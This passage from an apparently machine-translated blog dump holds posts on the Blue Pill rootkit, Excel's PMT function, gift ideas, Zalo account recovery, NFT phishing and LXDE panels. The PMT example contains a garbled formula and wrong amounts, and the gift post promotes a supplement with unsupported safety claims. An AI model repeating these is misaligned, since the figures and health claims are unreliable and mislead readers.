\"generic method\" dynamic solution to insert some binary code into the Vista kernel Beta 2 (x64 edition) without generating any errors. This technique has helped to overcome the changes in Windows Vista's anti-rootkit policy. The idea of ​​a virtual machine rootkit is not new. Microsoft and Michigan University researchers created a rootkit based on the virtual machine technology called SubVirt. This is a rootkit that cannot be detected because security software cannot access its status. Now, Rutkowska continues to develop this technology. However, the expert also confirmed that Blue Pill could be detected if AMD's Pacifica technology failed. Where does the power come from? \" The strength of Blue Pill is due to SVM technology ,\" Rutkowska explained. If the \"generic\" detection capability is added to virtual machine technology, Blue Pill will lose its invisible capabilities. But this only makes sense when AMD's Pacifica technology fails. \" On the other hand, if you cannot add generic detection techniques to SVM on a virtual machine platform, you will never be able to detect Blue Pill .\" \"The idea of ​​the Blue Pill is very simple: Your operating system swallowed a Blue Pill and it will work in a Matrix controlled by a tiny Hypervisor Blue Pill. This happens directly when operating system, does not affect other devices . \" Rutkowska also emphasized that Blue Pill is not based on any errors that exist in the operating system. Blue Pill technology will be proprietary to COSEINC Research and will not be publicly available. But Rutkowska said her firm also plans to organize training on the new technology and will reveal the technology source in such training courses. Hoang Dung\nncG1vNJzZmismaXArq3KnmWcp51kuqK41pqpnmWnnrmtec2oq2aalWKxpsDEnKuenA%3D%3D\n","link":"/post/malware-will-not-be-detected/","section":"post","tags":null,"title":"Malware will not be detected"},{"body":"The PMT function is one of the built-in financial functions of the Excel software used to calculate the payment for a loan based on regular payments and a constant interest rate. The PMT function is not only useful for businesses, but also very practical for users if you want to calculate a loan.\n  Example: A loan worth VND 100,000,000 million has an interest rate of 27% per annum, made for 5 years. So, what is the average amount that needs to be paid each year to pay off the loan in five years? That sounds complicated, right? To solve the above problem, Dexterity Software will guide you on how to apply PMT.\nFunction structure and usage The PMT function has the following structure: = PMT (rate, nper, pv, [fv], [type])\nIn which the arguments:\nRate: Required argument. The interest rate for the term of the loan. Nper: Required argument. The total number of payment periods for a loan. Pv: Required argument. Present value, also known as principal. Fv: Optional argument. The future value or cash balance you want to obtain after making the final payment. If fv is omitted, it is defaulted to 0 (zero), which means that the future value of the loan is 0 (paid off). Type: Optional argument. The number 0 (zero) or 1 indicates the time the payment is due. If Type is omitted, it will default to a value of 0 representing the time of the final payment, and a value of 1 represents the time of payment at the beginning of the period. Note:\nThe payments that the PMT function returns include principal and interest but do not include the costs, fees, and taxes that sometimes accompany the loan. The interest rate rate argument and the nper payment term must be consistent in terms of time. For example, if you make a recurring monthly payment, then the interest rate must be converted to the monthly interest rate by dividing the annual interest rate by 12 months. Specific examples Example 1: With the problem like the example at the beginning, you enter the following formula in any cell = PMT (27%, 5,100000000,0,0); The result is -38,719,579.42. That is, to borrow one amount of VND 100,000,000 million, an interest rate of 27% per annum, pay for 5 years, and the interest paid at the end of the term, you will have to pay VND 38,719,579.42 annually.\n  The result of the PMT function automatically adjusts the currency format. If you want to remove the dollar symbol and change the format of the result, select the cell you want to edit, press Ctrl + 1 and switch to the desired format.\n  Example 2: You set a goal of monthly bank deposits within 2 years, the interest rate is 6% per year, the amount you want to collect after one year is 100,000,000 VND. To calculate the monthly amount to send to the bank, you use the formula: = PMT (6% / 12.2 * 12,0,100,000,00000). Because you do it monthly, interest rates and the total number of payment terms must be converted into months. And the results obtained monthly you must deposit at least VND 3,932,061.03.\n  Hopefully the article above helps you to apply the PMT function in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kva7AjJ%2Bsp5uknryvecinZJ6wk5q5bsHSmp6eZZGjsW6x15qkqaSVqA%3D%3D\n","link":"/post/pmt-function-in-excel-usage-and-examples/","section":"post","tags":null,"title":"PMT function in Excel - Usage and examples"},{"body":"Besides the wedding anniversary, the husband's birthday is also a day that you need to remember to dedicate the unexpected to your husband, thereby increasing the catalyst for the affection of both.In this article, we will suggest you some birthday gifts for your husband by different ages, ensuring they will be very practical and meaningful to the lives of both.\ncontent Birthday gift suggestions for young husband Choose to buy birthday gifts for middle-aged husband Birthday gifts for husbands of all ages Birthday gift suggestions for young husband Men under 35 are classified as young, so choosing birthday presents for husbands in this age group is quite easy, often directed to unique, modern and technological products.You can refer to some suggestions below.\nExercise machine Along with the development trend of society, people have more and more needs to take care of themselves, especially the need to have a beautiful body.Besides paying attention to a balanced diet, a reasonable diet, and a relaxed spirit, regular exercise is also important.However, not all men have free time to exercise outdoors or the gym, not to mention, the worse air quality also affects more or less your training.\n  \nTherefore, women can buy her husband sports equipment at home so he can enlist training when there is time, also ensures a safer and healthier.On the market today, there are many different types of exercise machines for each different body area such as: abdominal exercise machine, treadmill, exercise bike, air walking machine . With many different prices from several hundred thousand to several million, even tens of millions, the exercise machines will help your guy have a toned body, better health to work and take care of the family.\nSmart watch Smartwatches are currently a product that many tech lovers are buying.Although its exterior is just like a regular sports watch, behind it is a series of modern gadgets that positively impact the lives of users.\n  Besides the usual functions of electronic watches such as: displaying date and time, alarm clock, smart watch is also capable of operating as a tiny smartphone with functions such as: Sim installation. , listen to calls, reply to messages, connect to 3G / wifi, download music, videos, play games, monitor health . This will be a powerful 'life assistant' of men in the family in public daily activities and activities.\nSome world famous smartwatch brands that you can refer to are: Xiaomi, Samsung, Apple, Gpulse .\nHeadphone If your husband has an 'endless passion' for music, then headphones are definitely an indispensable item in his pocket.You can buy it as a birthday present for your husband, surely he will be very touched by this mentality.\n  Nowadays, under the development of science and technology, types of headphones are becoming more and more diverse with many different designs and models.Based on the construction and usage characteristics, we can divide music headphones into 4 categories: Ear-to-ear headphones, wireless bluetooth headphones, earphones, mic headsets.Bluetooth headset is quite suitable for those who love listening to music when exercising, when driving by the ability to connect wirelessly to the phone, ensuring safety for users.\nChoose to buy birthday gifts for middle-aged husband For middle-aged men, choosing a birthday present for their husband will be more difficult than it is for their younger age.At this age, your health care needs are likely to increase rather than love technology products.So, you can refer to the birthday gift suggestion for her husband below to have more options for her.\nFunctional foods According to the Ministry of Health, functional foods are foods that support the function of organs in the body, provide nutrition, help the body relax, increase resistance and reduce the risk of disease.They are also known by many different names such as medical nutritional products, micronutrient supplements, health supplements or dietary supplements.This is a great birthday gift suggestion for your husband.\n  Many people still confuse functional foods and drugs.In fact, they are two completely different types.While drugs used to treat and prevent disease can re-establish and regulate the physiological function of the body, functional foods only provide nutrients that help 'support' the body's functions. like 'tonic'.Therefore, manufacturers often have the phrase 'functional foods are not medicines, do not replace medicine' when introducing their products to users.\nThere are many different types of functional foods that meet your husband's health care needs such as: Vitamin and mineral supplements, fiber supplements, help balance the digestive tract or group of bacteria. Special functional foods:Brain tonic, enhance memory;kidney tonic, increase vitality;eye tonic;liver tonic.\nLiquor cabinet One of the hobbies of men when they reach middle age is to collect wine and foreign wine.To keep the wine in good quality for a long time without spoiling or degenerating, people often store it in the cold room.At home, however, it is difficult to set aside a room for wine storage.\n  Many people have thought of keeping it in the fridge, but the fridge is also used for food preservation.Storing wine in the fridge with other foods can contaminate food odors, which can spoil more quickly because they are not stored properly.Therefore, to both save space and keep the quality of alcohol for a long time, many people often use wine cabinets for storage.\n  The design of the wine cabinet is based on the principle of storage in a wine cellar, usually 3 sides closed and using dark cabinet walls to prevent sunlight from entering.It can protect alcohol from the effects of harmful rays in the sun, preserve the full flavor of the wine, and even make it taste better without lowering the soil.In addition, wine cabinets are also used to preserve many other fermented beverages such as beer.Having a cupboard in the house, you will always enjoy the best glasses of wine and beer glasses.Therefore, this can be a very useful birthday gift for your husband and also show your deep concern for him.\nMassage cushion Massage cushion(full body massage mattress) is one of thehealth care equipmentused to relieve stress and fatigue.Massage pads are suitable for many subjects such as the elderly or suffer from joint aches and pains, or those who often work in a sedentary office, people with back pain, muscle fatigue .\n  The effect that full body massage cushion has been researched and recommended by many health organizations around the world for its effect on the whole body, helps you quickly dispel fatigue and thus work more effectively.Not only that, the cushion can also be used in cars, so that your husband can drive comfortably, without worrying about pain.If you are still wondering about the birthday gift for your husband, this will be a good suggestion, especially when your husband has a history of bone and joint pain.Thanks to the massage mattress, you will eliminate all tiredness without resorting to expensive professional massage solutions.\nRocket 1h As a 'delicate' item, however, Rocket is also a birthday present for husbands that you can give.\nSurely married women understand that the quality of sex life not only affects the relationship between the couple but also has a close relationship with health issues.If a gentleman wants to be full, then his physical and mental health is very important.\n  However, due to many reasons, not everyone has enough 2 factors to have a perfect love.AndRocket 1happeared to help solve these hidden worries.Rocket 1h is a functional food that enhances kidney function, fosters five organs, promotes health and increases the physiological abilities of the gentlemen, helping you to be confident in the 'battle'.\nThe product is made mainly from traditional medicine materials so if you use the instructions, you can be completely assured of the safety for your husband's health.\nBirthday gifts for husbands of all ages In addition to gifts that are suitable only for certain ages, there are also products that you can buy as gifts for your husband of any age, here are a few suggestions that we would like to introduce to you.\nShavers   \nThe shaver is a modern device that simplifies shaving - a job that almost every husband must do every day.Moreover, the use of a shaver also has many advantages compared to using a regular razor such as: Increasing shaving efficiency, saving time, not causing burning pain, abrasions for people with Sensitive skin, can be used in combination with trimming hair, shaving the neck . So, this is also a pretty practical gift for you on your birthday.\nWatch   \nIf you have all kinds of accessories such as necklaces, bracelets, earrings . to adorn your appearance, then for you, everything is a lot simpler.Just a watch with a suitable design can create attraction, charm for him already.Moreover, the design of men's watches is very diverse, there are many designs suitable for many different styles of costumes and circumstances so she will have many options for the birthday gift that she is preparing. .\nCondom Condomsare a product that plays an important role in couples' sex, it is not only a means to support couples who want to make family planning but also a preventive tool. Sexually transmitted infections.\n  On the market today, there are many types of condoms with different styles, functions . but remember when giving them, you need to be a little sensitive so that both of you do not feel shy.\nAbove are suggestions about birthday gifts for husbands that you can refer to.Hopefully, you will choose a unique and suitable gift and make your spouse even more passionate!\nncG1vNJzZmismaXArq3KnmWcp51kwLazxp6qrWVnYq%2BqvtOhm5qxXZy2p8DSZp2oql2uvLa%2BjKGsrJqRo7FurthmmKCd\n","link":"/post/suggest-7-birthday-gifts-for-your-husband-by-age/","section":"post","tags":null,"title":"Suggest 7 birthday gifts for your husband by age"},{"body":"Today Zalo has become one of the most familiar and widely used social networks in Vietnam. Zalo application gives users basic features such as sending messages, images, calling, selling online, searching for friends around . Zalo is growing and expanding its scope of activities Its with many interesting features. Like many other applications, the Zalo account is also very likely to be hacked by others. So in this case, what do you need to do to get your account back in time?\nInstructions to log out of Facebook remotely when hacked account How to retrieve Zalo account when hacked Step 1:\n  \nWhen hacked Zalo account, you should proceed to delete the old Zalo application and install the new Zalo application on your smartphone. When installing, you should pay attention to choosing the right version of the operating system you are using.\nStep 2:\n  \nOpen the Zalo app, click the option to Retrieve password and re-enter the phone number you originally registered. After logging in, wait a few minutes for the system to proceed to verify the user account. At that time, users only need to change the password to be stronger (including uppercase, lowercase letters, numbers and special characters).\nIn case your phone number has been taken advantage of by others to register another Zalo account, you only need to do the same steps as above. Next, click on the three dots mark icon on the right under the phone screen and select Settings -\u0026gt; Accounts and security -\u0026gt; Delete account (similar to the picture below).\n  After completing these operations, you need to wait for 3 days for the official confirmation system to delete the account. Now you just need to create a new account with your phone number.\nThe habit of installing 'pagodas' of paid applications with APK files is the leading cause of users losing accounts and losing money unfairly. Accordingly, crooks will upload malicious parts and buy Google ads so that the website is always at the top of search results, when users download and install, they will immediately be charged 15,000-30,000 VND.\n  According to the writer's test, when searching for popular software like Zalo and Facebook with a browser on smartphones, most of the malicious websites will be on the top and have the word QC (advertising) included. If you accidentally download and install the APK files, your phone will immediately be infected with Trojan, automatically send a message to the beginning of service number 8775, if you agree then the account will immediately \"evaporate\" 30,000. copper by application requires activation up to twice.\nAbove we have instructed you how to get back your Zalo account and why Zalo account was hacked.\nIf you find it helpful, don't forget to share the article for many people to know or leave a comment when having trouble using it.\nMaybe you are interested:\nHow to backup and restore Zalo messages on Android phones Instructions to delete and revoke messages on Zalo Instructions to review old messages on Zalo ncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWimsGztcSvnGaykaG8bq3CnKaupqRirqfAxKtkm52Zo7RutMCcop6c\n","link":"/post/tips-to-retrieve-zalo-account-after-being-hacked/","section":"post","tags":null,"title":"Tips to retrieve Zalo account after being hacked"},{"body":"It is becoming pretty difficult for entrepreneurs or companies to retain customer focus on their business for longer periods in the thriving online marketplace. For example, I heard many of our clients complaining about dropping visitor rates on their websites. They become very insistent on identifying the reasons for losing customers. To provide them an in-depth idea, digital experts from ui ux design company conduct a UX Benchmarking study to understand the digital metrics that put light on the strengths and weaknesses of those websites compared to others in the same field.\n  What is UX Benchmarking? In simple terms, UX Benchmarking refers to 'comparing a particular website's performance against that of its competitor's website or against itself longitudinally over time, especially in relation to UX metrics – effectiveness, efficiency, satisfaction, and perceived quality, etc.'\nIt provides the baseline usability metrics for the website, setting a standard against which to evaluate the features, functionalities, and experiences designed for the actual user's interactions. This strategic method can easily pinpoint an organization's digital or online goals suggesting ways to attain them.\nUX Benchmarking Benefits UX Benchmarking is a proven tool that offers entrepreneurs or start-ups an excellent opportunity to learn about their competitors – their strengths and weaknesses; and the collective experience of the market or the field relevant. Oftentimes, websites or business owners cannot realize that it is quite possible for digital marketing experts to quantify users' interactions and their experience by means of UX Benchmarking that ultimately benefits the website and overall business objectives. Below are a number of impressive benefits that a business owner might gain from UX Benchmarking analysis:\n1. Estimating customer experiences UX Benchmarking study is an effective way of calculating user experiences; thus business goals and design decisions can be made based on real metrics rather than the mere opinions of business professionals, designers, or developers. The study allows Digital Experts to take feedback from the real users about the websites and the overall user experiences. Having actual customers/users engaged is one of the most effective ways to explore the nooks and crannies of a website. Experts can thus collect lots of customer experience data to analyze the website.\nConducting this Benchmarking study focuses on obtaining customer opinions in order to set priority on what needs to be addressed and continually implement enhancement to track and evaluate the research results over time. The study encompasses a diverse range of data collection methodologies and platforms like online survey form, customer feedback form, mobile platforms to get the maximum reach. The objective is to obtain customer experiences on PC, laptop, tablet, and smartphones, etc. from a range of customers. The Digital specialist gets fruitful insights into the quality of the experience and generates ideas on how to improve the website\n2. Comparing performance with competitors At the heart of UX Benchmarking or UX competitive Benchmarking is the idea that instead of administering continuous trial and error, entrepreneurs or business owners can take a stand against their competitors based on real data. This UX analysis delivers a clear and complete understanding of the strengths and weaknesses of a particular website when rated against its competitors on a range of pre-set criteria. It reflects accurately where you are right now in terms of market position and sales and shows ways of how you can thrive on the market.\nThe online marketplace and e-commerce are extremely competitive for any business. To increase customer trust and loyalty and to assess if the customers or visitors believe that the website or business meets the brand promise of the business, UX Benchmarking study provides the right direction with a competitive advantage over the rivals.\n3. Identifying strengths and weaknesses It is crucial to know the strength and weaknesses of a particular website or business to succeed in the online business environment. Only real users' experiences can rightly point out what the strengths and weaknesses of that business are. But the question is how to get those data?\nUX Benchmarking study gathers the UX metrics more accurately- the data a business requires for success. The process is also cost-effective compared to the other sources or consultancy services available in the market. This is because UX analysis study collects data from the direct feedback of the customers that visit the website online. Thus identifying strengths and weaknesses of the website, the business owner receives insights and guidance for where to focus efforts to enhance and optimize the over experience of the users to keep them engaged for profitability.\n4. Enhancing brand image UX Benchmarking analysis substantially contributes to the brand image of any online business. I got many of our clients coming across to redesign their websites only because they think customers are leaving them due to poor website design. The customers were not quite happy using or visiting their websites; they experienced many errors, broken links, inappropriate content, and many more issues – this ultimately left a poor impression on their brand image.\nCompanies can retain their customer using the data collected from the UX Benchmarking study, in an effective way. The study helps companies to focus on translating the users' experiences – their likes and dislikes and apply the outcomes and recommendations to their own business or websites. By tracking the KPIs, the study helps organizations improve their brand image consistently leading it to be a sustainable brand. A sustainable brand always refers to a long-lasting customer relation that brings in continuous sales and profits for that brand.\n5. Boosting sales \u0026amp; profit It is no more a denying factor that any company wants to expand its market share, double its sales and lift up the position by increasing its profits. A rigorous UX Benchmarking study ensures that you do not miss anything about the changing customer behavior and needs leading you to ever boosting sales and astounding profits. Benchmarking study identifies points of competitive advantages; companies can utilize those to attract more customers to their website and increase the sales volume to a great extent.\nUX Benchmarking study can rightly identify all the usability issues a website might have early and very effectively. Using this data, the website owner can point on or lead the customers in the right direction, so they can easily locate the necessary product information and take the buying decision quickly. Thus users also get the scope to learn more about the business and the number of sales rises. Subsequently, the website earns more profit with an increasing number of visitors who buy the products regularly.\nncG1vNJzZmismaXArq3KnmWcp51kgm61zKmpnqujnsOmecGepZ6emanAbrvFZqyxZZKau6S0zJqppKGenHq0wNSdsA%3D%3D\n","link":"/post/5-impressive-benefits-of-ux-benchmarking-study/","section":"post","tags":null,"title":"5 Impressive Benefits of UX Benchmarking Study"},{"body":"Most smartphones today use only touch inputs. That means using the on-screen touch keyboard, which may cause you to enter inaccurate and slow content.\nHowever, there are still some phones on the market that have physical keyboards, better tactile feedback and better accuracy. Today's article will introduce some smart phone models with physical keyboards.\nWant to use a physical keyboard with a smartphone? Don't skip the following 5 phones! 1. Blackberry Key2 2. Blackberry Priv 3. Samsung Galaxy Folder 2 4. Blackberry Key2 LE 5. Samsung Galaxy S8 + Keyboard Cover 1. Blackberry Key2 Reference price: $ 609.99 (VND 14,200,000)\n  Very few smart phone companies have physical keyboards and the Blackberry is the most prominent among them. The company's latest phone has a keyboard, the Blackberry Key2 model, which provides many of the functions that the best smartphones on the market own. Blackberry Key2 has a 'sleek' design, the back has good grip and aluminum frame.\nBlackberry Key2 is equipped with Snapdragon 660. This is a mid-range processor that can handle tasks and play games quite well. The default configuration has 6GB of RAM and 64GB of storage, which can be expanded with a microSD card. Blackberry Key2 also has dual rear camera, dual SIM support and 4.5 inch full HD screen.\nThe physical keyboard follows a standard QWERTY layout, providing a very comfortable typing experience. In addition, all keys on the keyboard function as extra buttons. You can assign application shortcuts to specific keys, activate certain commands, and quickly switch between applications.\nThe surface of the entire keyboard also acts as a touchpad. This means that you can swipe up or down on the keyboard, and what you see on the screen will scroll up or down. There is also a fingerprint sensor integrated into the spacebar.\nKey2 runs Android 8.1 and comes with a variety of Blackberry privacy features. Another great aspect is battery life. Because Blackberry Key2 does not run on exceptionally powerful processors and smaller screen phones than usual, the 3,500mAh battery can be used up to two days.\n2. Blackberry Priv Reference price: $ 505.36 (VND 11,763,000)\n  If you like a phone with a slide-out keyboard for uninterrupted media viewing, the Blackberry Priv is a consideration. Blackberry Priv has a screen larger than 5.4 inches and a sliding keyboard at the bottom of the device. You can also quickly switch between typing modes, if you sometimes want to use an alternative touch keyboard.\nBlackberry Priv is equipped with the old Snapdragon 808 processor, Android 6.1 and 3GB RAM. Although not the fastest phone, but the Priv Blackberry still handles daily tasks well. You can also expand storage capacity with microSD card.\nPriv has an 18MP rear camera with optical image stabilization function and Schneider-Kreuznach lens. Blackberry Priv also has a sharp 1440 × 2560 screen, good brightness, brilliant colors and great for watching videos.\nThe physical keyboard slides smoothly and very neatly. The keyboard layout is also easy to get used to, because the keys are quite well arranged, even if the device is not very large.\n3. Samsung Galaxy Folder 2 Reference price: $ 659 (VND 15,350,000)\n  Before announcing the Galaxy Fold, Samsung's previous folding device was Galaxy Folder 2. Instead of having a QWERTY keyboard like the rest of the phones on this list, Samsung Galaxy Folder 2 owns a T9 keyboard with letters and The character is assigned to the numbers.\nFolder 2 is compact in size, similar to the old flip phone from the early 2000s. Its small size makes it easy to put in a pocket or purse when going out.\nThis phone is primarily intended to upgrade for old phone users. Despite its somewhat classic appearance, Samsung Galaxy Folder 2 has many features of modern smartphones. Galaxy Folder 2 runs Android 6.0, has a quad core Snapdragon processor and is compatible with LTE networks.\nThat means Samsung Galaxy Folder 2 can handle most basic tasks like surfing social networks, browsing and messaging. The phone also has a front and rear camera. The screen of this phone has a size of 3.8 inches and a resolution of 400 × 800, suitable for viewing photos.\nThe T9 keyboard brings a similar experience to old mobile phones. Not as fast as typing on the QWERTY keyboard, but works well for those who are familiar with this type of keyboard.\n4. Blackberry Key2 LE Reference price: $ 425 (VND 9,900,000)\n  Considered a 'variant' of Key2, Blackberry Key2 LE retains many of the essential features of this flagship, but has a more 'affordable' price.\nKey2 LE is equipped with Snapdragon 636 processor (a bit slower than Key2) and 4GB RAM. This processor can complete many tasks, switch between applications and browse the web. Blackberry Key2 LE also has a 3,000mAh battery, smaller than Key2, but still enough to use all day at a moderate level. However, Qualcomm Quick Charge 3.0 will compensate for the lack of battery life, as you can charge Key2 up to 50 percent in just 36 minutes.\nLE also has a well-designed QWERTY keyboard, with programmable keys, touchpad and fingerprint sensor. Blackberry Key2 LE also has a 4.5 inch screen size with 2K HD resolution. LE has 64GB of internal storage and can upgrade further via microSD card.\nMoreover, the back has a sturdy structure and a strong grip feel. However, the aluminum frame has been replaced with plastic. The speaker part of this phone is a bit poor, so you should use a pair of replacement headphones.\n5. Samsung Galaxy S8 + Keyboard Cover Reference price: VND 16,000,000\n  If you prefer to use a full-sized smartphone but still want to own a physical keyboard to use when you need it, Samsung Galaxy S8 + Keyboard Cover may be your choice. Although many Bluetooth keyboards work with mobile devices on the market, no keyboard provides a seamless experience. This Keyboard Cover (translated as keyboard cover) works with Samsung Galaxy S8 + and attaches to the lower half of the phone.\nThe keys are moderately sized and feel comfortable to press, so the normal typing speed is still well maintained. For most cases, you will type much faster and more accurately. Because regardless of any touch input, Samsung Galaxy S8 + Keyboard Cover is also compatible with regular strength stickers.\nThe screen will automatically resize when you put the keyboard cover device on the phone. Although this device does not make the viewing area on the screen smaller, you can easily remove it when you want to play games or watch videos in full screen. This keyboard cover device can connect and disconnect immediately.\nThe only problem is that the keys do not have a backlight, so you'll have to rely on memory to correctly type characters in low light conditions.\nThe options listed above provide a much easier typing experience than on-screen keyboards. If you want to use your current smartphone to perform some typing, you can connect the USB keyboard to your Android phone.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6%2FzJqpraiYpLumv4ywoK2gXam1pnnBnqqtZaCdxrS1wpqjZqOVrq%2BwrdGd\n","link":"/post/5-smartphones-with-the-best-physical-keyboard/","section":"post","tags":null,"title":"5 smartphones with the best physical keyboard"},{"body":"Currently, nail styling is also a lot of interest, if you do not know which nail design option is most beautiful and impressive to renew your nail, please invite. Refer to 99+ best nail designs, the latest article has summarized and shared below.\n  Here are 99+ best nail designs, new nail designs, cute, unique and impressive, invite you to follow.\n  Photos of the most beautiful nail samples\n  The most beautiful nail samples\n  Beautiful nail designs\n  Beautiful nail nail patterns\n  Cute nail designs\n  Simple nail designs\n  Beautiful nail model\n  Beautiful simple nail model\n  Impressive nail template for noel\n  The most impressive nail model\n  Nail template beautiful night sky\n  Nail template for sharp nails\n  Nail template for noel\n  The most beautiful basic nail pattern\n  The most basic nail template\n  Beautiful nail template\n  Very toxic nail model\n  Beautiful wedding nail template\n  The most beautiful snake nail pattern\n  The most beautiful nail template\n  The cutest nail template\n  Cute nail template\n  Super cool black nail model\n  Beautiful black nail model unique\n  Beautiful black nail white pattern\n  Beautiful black and white nail model\n  Beautiful nail template\n  The most impressive nail model\n  Beautiful nail template for the bride\n  Beautiful nail designs for short nails\n  Beautiful cute nail pattern\n  Beautiful unique nail template\n  Beautiful simple nail template\n  The most beautiful nail template for you\n  The most beautiful nail pattern\n  Beautiful nail designs gently\n  Beautiful creative nail template\n  Beautiful nail form, the most impressive\n  Beautiful nail template\n  Nail template with studded stones for long nails\n  Beautiful nail nail pattern\n  Beautiful nail nail pattern\n  Nail template with simple and beautiful stone\n  Nail form with studded stones\n  Beautiful red nail template\n  Unique nail form impressive\n  The most beautiful unique nail pattern\n  The most unique nail template for you\n  The most unique nail template\n  Unique nail template\n  Toxic nail form\n  Simple nail template for beautiful short nails\n  Very simple nail template\n  The most beautiful simple nail template\n  Beautiful simple nail pattern\n  Simple but beautiful nail pattern\n  Simple nail template but still beautiful\n  The simplest nail pattern\n  Simple nail template\n  The best two-color nail model\n  Unique butterfly-shaped nail template\n  Beautiful nail art form\n  Beautiful star shaped nail template for you\n  Beautiful nail flower pattern\n  The most beautiful simple nail pattern\n  Simple nail pattern beautiful\n  Pattern nail pattern\n  Model of beautiful guys nail\n  Fancy nail template\n  Beautiful black nail template\n  Luxurious black nail model\n  Cute red nail pattern\n  Beautiful purple nail template\n  Beautiful white nail template\n  Cute blue nail pattern\n  New nail template for you\n  The best new nail template\n  Beautiful new nail template\n  Latest nail designs for you\n  Latest nail designs today\n  Latest nail designs\n  New nail template\n  Nice short nail template\n  Beautiful nail art form\n  Noel nail template\n  Beautiful square nail template\n  Luxurious nail form\n  Beautiful creative nail template\n  The most beautiful creative nail template\n  The most creative nail template\n  Beautiful nail template\n  Nail template\n  Unique nail designs\n  Beautifully beautiful nail designs\n  Beautiful nail art template\n  The most unique nail art form\n  The most beautiful nail pattern\n  Beautiful nail template\n  Nail template\n  Beautiful nail art template\n  Unique nail art designs\n  Unique nail\n  Red nail\n  Beautiful simple nail designs\n  The best nail designs for you\n  The most beautiful nail designs today\n  The most beautiful nail samples\n  Beautiful nail designs\n  Beautiful stone nail designs\n  Simple nail designs\n  picasso-nails-t\n  Design the most beautiful nail pattern\n  Nice nail synthesis\nAbove the article has shared to you 99+ most beautiful nail samples, let's take a look and choose the most beautiful and suitable nail template for me to do. If possible, you can rely on the nail patterns that the article shares and design a unique nail template in its own style. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51khnp5wZ6qrWWelratecyom56kow%3D%3D\n","link":"/post/99-best-nail-models/","section":"post","tags":null,"title":"99+ Best Nail Models"},{"body":"This is what has happened in the NFT industry, as some of these virtual works of art are currently selling for tens of millions of dollars.\nCybercriminals are developing more and more sophisticated ways to trick victims and steal their assets, with one particularly popular method being phishing. So how exactly is phishing used to steal NFTs?\nHow is Phishing used to steal NFTs?   You might think that the cryptography used in the purchase and storage of NFTs makes the entire system super secure. Yes, it will certainly be difficult for cybercriminals to access the NFT without some of your sensitive data. But this is why phishing is used in the theft process.\nThere are several ways that online attackers can get into your NFT through phishing, you should be on high alert to keep your assets safe.\n1. Phishing via Discord   In recent years, the social networking site Discord has become a popular choice for crypto and NFT enthusiasts who want to connect with each other and their favorite artists or developers. But cybercriminals are also aware of this and thus use Discord to target unknown users.\nFake NFT giveaways are a particularly popular scam method on Discord, where scammers impersonate NFT artists and convince users to reveal certain information in order to be able to participate in the program. give a gift. These giveaway scams often ask you to enter your private key or seed phrase (a set of keywords used to access a cryptocurrency wallet).\nHowever, no legitimate gifting program will ask you to provide these two pieces of sensitive data. So, if you are asked to provide your seed phrase or private key to participate in the giveaway, leave immediately. There's no reason why your private key should be needed to receive any kind of asset, so if you're asked for this, you're definitely running the risk of being scammed.\n2. Phishing via Email   Cybercriminals often rely on emails to trick users into revealing sensitive information. Many people have provided their bank account details, login information and even social security numbers through these scams, and now, NFT holders are being targeted. pepper.\nSo, if you ever receive an email from a suspicious NFT artist, project developer or company, be aware that it could be a scam. Such emails may contain links to NFT discount sites, giveaway sites or something similar and may ask you to provide your seed phrase or private key.\nAdditionally, these emails can take the form of notifications from the marketplace, alerting NFT holders that someone is believed to have purchased or placing an offer on an NFT that they are selling. The user will be required to click on the link provided and log in to their account. If they do, the scammer will then be able to access their account and the NFTs they are selling on.\nThis happened in March 2022. Cybercriminals impersonated Opensea, a popular NFT marketplace, and emailed users to access their credentials. Several individuals have fallen victim to this scam and hundreds of NFTs have been lost as a result.\nThis is why it is important that you do not arbitrarily click on links in emails. If you are notified that your NFT has been sold or a deal has been made, go directly to the marketplace and log into it. You can then see if there is actually any activity related to the property you are selling.\n3. Phishing via Instagram   Lots of NFT artists use Instagram to promote new work, discuss developments, and connect with their fans. But this also opened the door to impersonated accounts, and through which victims were duped without a doubt.\nScammers often perform this type of scam by messaging users who follow the artist, the project they are impersonating, or users interested in NFT in general. They will notify the user that they have won a gift and will then provide a link to a website where they can claim their prize.\nOf course, there is no real prize and the link is provided only for users to provide scammers with the information they need to access the accounts or wallets they own. At that point, it may be too late for the victim.\nBut impersonating accounts aren't all Instagram-related NFT scams. More advanced criminals can hack official accounts and target individuals from there. This explicit layer of authentication gives scammers a better chance of tricking users.\n4. Phishing via Twitter   Like Instagram, many of NFT's artists and projects gain large Twitter followings from fans and enthusiasts interested in their work. And this just provides another way for cybercriminals to exploit users.\nNFT scams on Twitter work the same way they do on Instagram, where criminals target victims through impersonating accounts or hacking official accounts and start from there. Scammers may also publicly post phishing links from fake or compromised official accounts to create a wider attack wave and attract more victims.\nDue to this risk, you need to exercise caution whenever encountering an NFT gift link. Again, if you've ever been asked to provide any kind of sensitive information in order to receive a gift, be wary. There's no reason why your seed phrase, login password, or private key should be needed in a giveaway.\nYou can also use link checking sites to check if a link is legit before clicking on it.\nWith NFTs reaching incredible prices, it's no surprise that cybercriminals do all they can to capitalize on this booming market. So, if you own any kind of NFT, remember that you should never give out any of your sensitive information, as this can be used to steal your valuables. you quickly.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKKqZqiYnsCptc2gZK6rlZl6tbuMrKuemZxiu6fA0g%3D%3D\n","link":"/post/how-is-phishing-used-to-steal-nfts/","section":"post","tags":null,"title":"How is Phishing used to steal NFTs?"},{"body":"LXDE is one of the lightest graphical environments you can choose for a computer. If LXDE is your main desktop environment, you may have chosen it because the computer is limited in resources. In cases like this, you probably don't want to run any more launcher. They provide easy access to your favorite shows, but also consume the available resources.\nFortunately, like any other desktop environment today, LXDE allows you to easily add additional control panels to the desktop (no different from a regular launcher). They can provide quick access to all your favorite programs, as well as some useful widgets. The process is simple, fast, and consumes far less resources than you use a specialized application for that purpose.\nNote : This article assumes that you have used LXDE as a desktop manager.\nTo create a new dashboard on the desktop, right-click on an existing panel and select 'Create New Panel' .\n  The big annoying gray rectangle at the bottom left of the screen is the new panel. Don't worry about what it looks like, because you'll fix this problem shortly. For example, if the panel appears on the right of the screen ( Edge: Right ), its height will be dynamically determined by the content ( Height: Dynamic ), to reduce the width to nearly 1/3 of the default value. , from 150px to 64px.\n  \nSwitch to the Panel Applets, which is basically a list of (currently empty) content of the new dashboard. Click 'Add' to add a new entry to this list.\n  There are many applets you can use to customize your control panel as desired. For now, select the Application Launch Bar , which allows 